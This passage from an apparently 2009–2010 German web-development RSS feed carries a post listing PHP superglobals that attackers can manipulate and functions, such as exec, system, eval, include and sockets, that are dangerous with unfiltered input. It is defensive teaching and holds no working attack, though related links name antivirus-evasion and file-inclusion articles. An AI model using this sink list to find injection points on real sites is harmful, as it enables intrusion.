<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 2 &#8211; Phishing">Content-Spoofing &#8211; Teil 2 &#8211; Phishing</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 1 &#8211; JavaScript">Content-Spoofing &#8211; Teil 1 &#8211; JavaScript</a></li><li><a href="http://www.web-tuts.de/php-session-sicherheit-session-fixation.html" rel="bookmark" title="Permanent Link: PHP Session Sicherheit &#8211; Session Fixation">PHP Session Sicherheit &#8211; Session Fixation</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/25-aktuelle-cheat-sheets-fuer-webworker.html" rel="bookmark" title="Permanent Link: 25+ aktuelle Cheat Sheets f&#252;r Webworker">25+ aktuelle Cheat Sheets f&#252;r Webworker</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Gef&#228;hrliche Funktionen und Variablen in PHP</title>
		<link>http://www.web-tuts.de/gefaehrliche-funktionen-und-variablen-in-php.html</link>
		<comments>http://www.web-tuts.de/gefaehrliche-funktionen-und-variablen-in-php.html#comments</comments>
		<pubDate>Wed, 11 Nov 2009 17:11:37 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Webentwicklung]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=46</guid>
		<description><![CDATA[In PHP-Anwendungen k&#246;nnen sehr schnell Sicherheitsl&#252;cken entstehen. Diese entstehen h&#228;ufig durch ungefilterte Benutzereingaben. Wenn Benutzereingaben in bestimmten Funktionen verwendet werden, um zum Beispiel Dateien einzulesen, Dateien einzubinden oder sogar System-Befehle auszuf&#252;hren, ist es besonders kritisch.
Ich habe mal eine Liste mit einigen Funktionen und Variablen zusammengestellt, auf die PHP-Programmierer besonders achten sollten.

Superglobale Arrays
Benutzereingaben werden meistens in [...]]]></description>
			<content:encoded><![CDATA[<p>In PHP-Anwendungen k&#246;nnen sehr schnell Sicherheitsl&#252;cken entstehen. Diese entstehen h&#228;ufig durch ungefilterte Benutzereingaben. Wenn Benutzereingaben in bestimmten Funktionen verwendet werden, um zum Beispiel Dateien einzulesen, Dateien einzubinden oder sogar System-Befehle auszuf&#252;hren, ist es besonders kritisch.</p>
<p>Ich habe mal eine Liste mit einigen Funktionen und Variablen zusammengestellt, auf die PHP-Programmierer besonders achten sollten.</p>

<h2 class="headline">Superglobale Arrays</h2>
<p>Benutzereingaben werden meistens in sogenannte <a href="http://docs.php.net/manual/de/language.variables.superglobals.php" target="_blank">Superglobals</a> (auch superglobale Variablen genannt) gespeichert. Diese vordefinierten Variablen liegen wiederum in <a href="http://tut.php-quake.net/de/array.html" target="_blank">Arrays</a> (Felder) - diese werden als <strong>superglobale Arrays</strong> bezeichnet.</p>
<p>Vereinfacht ausgedr&#252;ckt kann man sagen, dass Benutzereingaben in Platzhalter gespeichert werden. In einem Suchformular k&#246;nnte das z.B. so aussehen:</p>
<p>Suchformular &raquo; Benutzereingabe "test" &raquo; Platzhalter xy (enth&#228;lt den Wert "test")</p>
<p>Am h&#228;ufigsten werden folgende superglobale Arrays f&#252;r Benutzereingaben verwendet:</p>
<p>$_GET, $_POST / $_REQUEST</p>
<p>In $_GET werden die Werte per URL-Parameter &#252;bergeben.<br />
In $_POST werden Werte per POST-Methode &#252;bergeben (z.B. Formulareingaben).<br />
$_REQUEST enth&#228;lt den Inhalt von $_GET, $_POST und $_COOKIE</p>
<p>Doch nur auf $_GET, $_POST, $_REQUEST und $_COOKIE zu achten ist ein Fehler, der leider sehr oft gemacht wird.</p>
<p>Benutzereingaben sind nicht immer vorhersehbare Benutzereingaben. Angreifer halten sich nicht an die “Bitte alle Felder korrekt ausf&#252;llen” Regel.</p>
<p>Auch bestimmte Daten im superglobalen $_SERVER Array k&#246;nnen manipuliert werden. Zum Beispiel wird in $_SERVER['HTTP_USER_AGENT'] der User-Agent gespeichert. Diesen kann man in den Browser Einstellungen beliebig &#228;ndern.</p>
<h2 class="headline">Variablen / Arrays auf die man besonders achten sollte</h2>
<ul class="normallist">
<li>$_GET</li>
<li>$HTTP_GET_VARS</li>
<li>$_POST</li>
<li>$HTTP_POST_VARS</li>
<li>$_COOKIE</li>
<li>$HTTP_COOKIE_VARS</li>
<li>$_REQUEST</li>
<li>$_FILES</li>
<li>$HTTP_POST_FILES</li>
<li>$_SERVER['REQUEST_METHOD']</li>
<li>$_SERVER['QUERY_STRING']</li>
<li>$_SERVER['REQUEST_URI']</li>
<li>$_SERVER['HTTP_ACCEPT']</li>
<li>$_SERVER['HTTP_ACCEPT_CHARSET']</li>
<li>$_SERVER['HTTP_ACCEPT_ENCODING']</li>
<li>$_SERVER['HTTP_ACCEPT_LANGUAGE']</li>
<li>$_SERVER['HTTP_CONNECTION']</li>
<li>$_SERVER['HTTP_HOST']</li>
<li>$_SERVER['HTTP_REFERER']</li>
<li>$_SERVER['HTTP_USER_AGENT']</li>
<li>$_SERVER['HTTP_X_FORWARDED_FOR'];</li>
<li>$_SERVER['PHP_SELF']</li>
</ul>
<h2 class="headline">Potenziell gef&#228;hrliche Funktionen</h2>
<p>Diese Variablen / Arrays werden nat&#252;rlich oft in Funktionen verwendet. Wenn man sie nicht validiert bzw. filtert, k&#246;nnen kritische Sicherheitsl&#252;cken entstehen.</p>
<p><strong>Funktionen f&#252;r den Dateizugriff:</strong></p>
<ul class="normallist">
<li>fopen</li>
<li>readfile</li>
<li>file</li>
<li>fpassthru</li>
<li>gzfile</li>
<li>gzopen</li>
<li>gzpassthru</li>
<li>readgzfile</li>
<li>file_get_contents</li>
<li>file_put_contents</li>
<li>copy</li>
<li>rename</li>
<li>rmdir</li>
<li>mkdir</li>
<li>unlink</li>
<li>parse_ini_file</li>
</ul>
<p><strong>Funktionen zum Ausf&#252;hren von Code und Befehlen:</strong></p>
<ul class="normallist">
<li>exec</li>
<li>shell_exec</li>
<li>system</li>
<li>passthru</li>
<li>eval</li>
<li>popen</li>
<li>proc_open</li>
<li>call_user_func</li>
<li>call_user_func_array</li>
<li>call_user_method</li>
<li>call_user_method_array</li>
<li>create_function</li>
</ul>
<p>Ausserdem ist hier auch der <a href="http://de.php.net/language.operators.execution" target="_blank">Backtick-Operator</a> zu beachten.</p>
<p><strong>Funktionen zum Einbinden von Dateien:</strong></p>
<ul class="normallist">
<li>include</li>
<li>include_once</li>
<li>require</li>
<li>require_once</li>
<li>virtual</li>
</ul>
<p><strong>Socket Funktionen:</strong></p>
<ul class="normallist">
<li>fsockopen</li>
<li>pfsockopen</li>
<li>socket_create</li>
<li>socket_connect</li>
<li>socket_write</li>
<li>socket_send</li>
<li>socket_recv</li>
</ul>
<p><strong>Funktionen f&#252;r Weiterleitungen:</strong></p>
<ul class="normallist">
<li>header</li>
<li>http_redirect</li>
<li>HttpMessage::setHeaders</li>
<li>HttpMessage::setResponseCode</li>
</ul>
<p><strong>Funktionen f&#252;r SQL-Abfragen:</strong></p>
<ul class="normallist">
<li>mysql_query</li>
<li>mssql_query</li>
<li>pg_query</li>
</ul>
<p><strong>Funktionen zur Entschl&#252;sselung:</strong></p>
<ul class="normallist">
<li>urldecode</li>
</ul>
<p>Wem noch mehr einfallen, kann dies gerne per Kommentar mitteilen.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html" rel="bookmark" title="Permanent Link: Sicherheitsl&#252;cken kombinieren">Sicherheitsl&#252;cken kombinieren</a></li><li><a href="http://www.web-tuts.de/api-crypting-antiviren-programme-austricksen.html" rel="bookmark" title="Permanent Link: API Crypting: Antiviren-Programme austricksen">API Crypting: Antiviren-Programme austricksen</a></li><li><a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html" rel="bookmark" title="Permanent Link: Advanced Local und Remote File Inclusion">Advanced Local und Remote File Inclusion</a></li><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/gefaehrliche-funktionen-und-variablen-in-php.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/gefaehrliche-funktionen-und-variablen-in-php.html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
